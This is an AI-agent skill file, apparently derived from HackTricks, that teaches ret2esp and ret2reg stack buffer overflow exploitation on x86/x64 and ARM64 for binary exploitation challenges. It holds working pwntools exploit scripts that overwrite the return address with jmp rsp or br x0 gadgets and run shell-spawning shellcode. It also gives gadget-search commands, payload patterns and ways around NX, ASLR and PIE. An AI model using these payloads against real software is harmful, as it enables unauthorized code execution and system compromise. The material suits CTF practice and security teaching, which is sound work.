Hacktricks-skills ret2esp-ret2reg-exploitation
How to perform ret2esp and ret2reg exploitation techniques for binary exploitation. Use this skill whenever the user mentions stack pivoting, ret2esp, ret2reg, ret2eax, jmp esp, call esp, stack pointer manipulation, or needs to bypass NX/ASLR/PIE protections in binary exploitation challenges. This skill covers x86/x64 and ARM64 architectures.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg/SKILL.MDRet2esp / Ret2reg Exploitation
This skill guides you through ret2esp and ret2reg exploitation techniques for binary exploitation challenges.
When to Use This Skill
Use this skill when:
- You need to redirect execution to shellcode on the stack
- You're working with stack buffer overflow vulnerabilities
- You need to bypass NX protection by jumping to shellcode
- You're dealing with ASLR/PIE and need to find reliable gadgets
- You're working on ARM64 binaries and need ret2sp/ret2reg alternatives
- You need to pivot the stack pointer to execute shellcode
Core Concepts
Ret2esp
Ret2esp redirects execution to the stack pointer (ESP/RSP) by:
- Overwriting EIP/RIP with the address of a
orjmp esp
instructioncall esp - Placing shellcode immediately after the overwritten return address
- When
executes, ESP points to the shellcoderet
Key advantage: Shellcode is placed after EIP corruption, avoiding interference from push/pop operations during function execution.
Ret2reg
Ret2reg uses register-based jumps when a register contains a useful address:
- Ret2eax: Use
orcall eax
when EAX holds the shellcode addressjmp eax - Ret2reg: Any register containing an interesting address can be used
- Common scenario: Functions that return buffer addresses (e.g.,
returns destination address in EAX)strcpy
Architecture-Specific Techniques
x86/x64
Finding Gadgets
# Find jmp/call esp gadgets in binary ROPgadget --binary ./vuln | grep -iE "(jmp|call) (esp|rsp)" # Search in libc if ASLR is disabled ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -iE "(jmp|call) (esp|rsp)" # Alternative: use pwn search from pwn import * elf = ELF('./vuln') next(elf.search(asm('jmp rsp')))
Stack Pivot When Space is Limited
If you lack space after overwriting RIP, use a stack pivot gadget:
# Pivot gadget: sub rsp, 0x30; jmp rsp # This moves RSP down and jumps to the new location payload = b'A' * offset payload += p64(pivot_gadget) # e.g., sub rsp, 0x30; ret payload += shellcode
Example Exploit (x64)
from pwn import * elf = context.binary = ELF('./vuln') p = process() # Find jmp rsp gadget jmp_rsp = next(elf.search(asm('jmp rsp'))) # Craft payload payload = b'A' * 120 # Offset to return address payload += p64(jmp_rsp) payload += asm(''' sub rsp, 10; jmp rsp; ''') p.sendlineafter(b'RSP!\n', payload) p.interactive()
ARM64
Ret2sp Limitations
ARM64 does not have direct
jmp sp instructions. You need to:
- Find gadgets that move SP to a register
- Then jump to that register
# Search for SP-to-register gadgets for i in $(seq 1 30); do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | \ grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)" done
Ret2reg on ARM64
Use
x0 (return value register) when functions return buffer addresses:
# Find branch-to-register gadgets ROPgadget --binary ./binary | grep -Ei " b[a-z]* x[0-9][0-9]?"
Example Exploit (ARM64)
from pwn import * p = process('./ret2x0') elf = context.binary = ELF('./ret2x0') stack_offset = 72 shellcode = asm(shellcraft.sh()) br_x0 = p64(0x4006a0) # Address of: br x0 # Shellcode first, then padding, then gadget payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive()
Protection Considerations
NX (No-Execute)
- Impact: If stack is non-executable, ret2esp/ret2reg won't work directly
- Bypass: Use ROP chains to call
or similar functions instead of shellcodesystem()
ASLR (Address Space Layout Randomization)
- Impact: Makes finding reliable gadget addresses difficult
- Bypass options:
- Leak addresses first (format string, info leak)
- Use gadgets in the vulnerable binary itself (if PIE is disabled)
- Brute force (only works with limited entropy)
PIE (Position Independent Executable)
- Impact: Binary base address is randomized
- Bypass options:
- Leak the binary base address
- Use relative gadgets (rare)
- Combine with ASLR bypass
Common Patterns
Pattern 1: Direct Ret2esp
# When you have jmp esp and space after return address payload = b'A' * offset payload += p64(jmp_esp_gadget) payload += shellcode
Pattern 2: Stack Pivot + Ret2esp
# When you need to move ESP/RSP first payload = b'A' * offset payload += p64(pivot_gadget) # sub esp, 0x24; ret payload += shellcode
Pattern 3: Ret2reg with Function Return
# When a function returns buffer address in a register # Example: strcpy returns destination address in EAX payload = b'A' * offset payload += p64(jmp_eax_gadget) # Shellcode is already in buffer, EAX points to it
Pattern 4: ARM64 Ret2x0
# When x0 contains buffer address after function return payload = shellcode + b'A' * (offset - len(shellcode)) + p64(br_x0_gadget)
Debugging Tips
Verify Gadget Addresses
# Check if gadget address is correct from pwn import * elf = ELF('./vuln') print(hex(next(elf.search(asm('jmp rsp'))))) # Verify in GDB gdb.attach(p) gdb.execute(f'x/1i {gadget_addr}')
Check Stack Layout
# Use pattern to find exact offset from pwn import * context.binary = ELF('./vuln') p = process() pattern = cyclic(100) p.sendline(pattern) # In GDB, check RSP value # Then: cyclic_find(rsp_value)
Test Shellcode Placement
# Verify shellcode is at expected location from pwn import * p = process('./vuln') gdb.attach(p) # After sending payload, check memory # x/20i $rsp # Should show your shellcode
Quick Reference
| Technique | Architecture | Gadget Needed | Shellcode Location |
|---|---|---|---|
| Ret2esp | x86/x64 | / | After return address |
| Ret2reg | x86/x64 | / | In register's address |
| Ret2sp | ARM64 | | After pivot |
| Ret2x0 | ARM64 | | In buffer (x0 points to it) |
Next Steps
- Find the vulnerability: Identify buffer overflow and offset
- Check protections: Determine NX, ASLR, PIE status
- Find gadgets: Use ROPgadget or pwn search
- Craft payload: Follow patterns above
- Test and debug: Use GDB to verify execution flow
- Iterate: Adjust offsets and addresses as needed